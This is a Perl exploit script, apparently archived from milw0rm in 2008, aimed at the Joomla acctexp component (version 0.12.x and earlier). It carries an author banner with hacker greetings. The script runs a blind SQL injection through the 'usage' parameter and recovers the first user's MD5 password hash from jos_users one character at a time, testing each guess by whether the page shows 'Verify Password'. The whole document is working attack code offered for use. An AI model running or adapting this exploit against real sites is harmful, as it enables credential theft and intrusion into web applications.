Joomla Component acctexp <= 0.12.x Blind SQL Injection Exploit #!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[1])
{
  print `                                                                \n`;
  print `   #############################################################\n`;
  print `   #   Joomla Component acctexp Blind SQL Injection Exploit    #\n`;
  print `   #   Author:His0k4 [ALGERIAN HaCkeR]                         #\n`;
  print `   #                                                           #\n`;
  print `   #   Conctact: His0k4.hlm[at]gamil.com                       #\n`;
  print `   #   Greetz:   All friends &amp; muslims HacKeRs                 #\n`;
  print `   #   Greetz2:  http://www.palcastle.org/cc :)                #\n`;
  print `   #                                                           #\n`;
  print `   #   Usage:   perl acctexp.pl host path <options>            #\n`;
  print `   #   Example: perl acctexp.pl www.host.com /joomla/ -g 1     #\n`;
  print `   #                                                           #\n`;
  print `   #   Options:                                                #\n`;
  print `   #     -g    usage  id                                       #\n`;
  print `   #   Note:                                                   #\n`;
  print `   #   Don't forget to change the match if you have to do it :)#\n`;
  print `   #############################################################\n`;
  exit;
}

my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $userid  = 1;
my $gid     = $ARGV[2];

my %options = ();
GetOptions(\%options, `u=i`, `p=s`, `g=i`);

print `[~] Exploiting...\n`;

if($options{`u`})
{
  $userid = $options{`u`};
}

if($options{`g`})
{
  $gid = $options{`g`};
}

syswrite(STDOUT, `[~] MD5-Hash: `, 14);

for(my $i = 1; $i <= 32; $i++)
{
  my $f = 0;
  my $h = 48;
  while(!$f &amp;&amp; $h <= 57)
  {
    if(istrue2($host, $path, $userid, $gid, $i, $h))
    {
      $f = 1;
      syswrite(STDOUT, chr($h), 1);
    }
    $h++;
  }
  if(!$f)
  {
    $h = 97;
    while(!$f &amp;&amp; $h <= 122)
    {
      if(istrue2($host, $path, $userid, $gid, $i, $h))
      {
        $f = 1;
        syswrite(STDOUT, chr($h), 1);
      }
      $h++;
    }
  }
}

print `\n[~] Exploiting done\n`;

sub istrue2
{
  my $host  = shift;
  my $path  = shift;
  my $uid   = shift;
  my $rid   = shift;
  my $i     = shift;
  my $h     = shift;
 
  my $ua = LWP::UserAgent->new;
  my $query = `http://`.$host.$path.`index.php?option=com_acctexp&amp;task=subscribe&amp;usage=`.$gid.` and (SUBSTRING((SELECT password FROM jos_users LIMIT 0,1 ),`.$i.`,1))=CHAR(`.$h.`)`;
 
  if($options{`p`})
  {
    $ua->proxy('http', `http://`.$options{`p`});
  }
 
  my $resp = $ua->get($query);
  my $content = $resp->content;
  my $regexp = `Verify Password`;
 
  if($content =~ /$regexp/)
  {
    return 1;
  }
  else
  {
    return 0;
  }

}

# milw0rm.com [2008-06-02]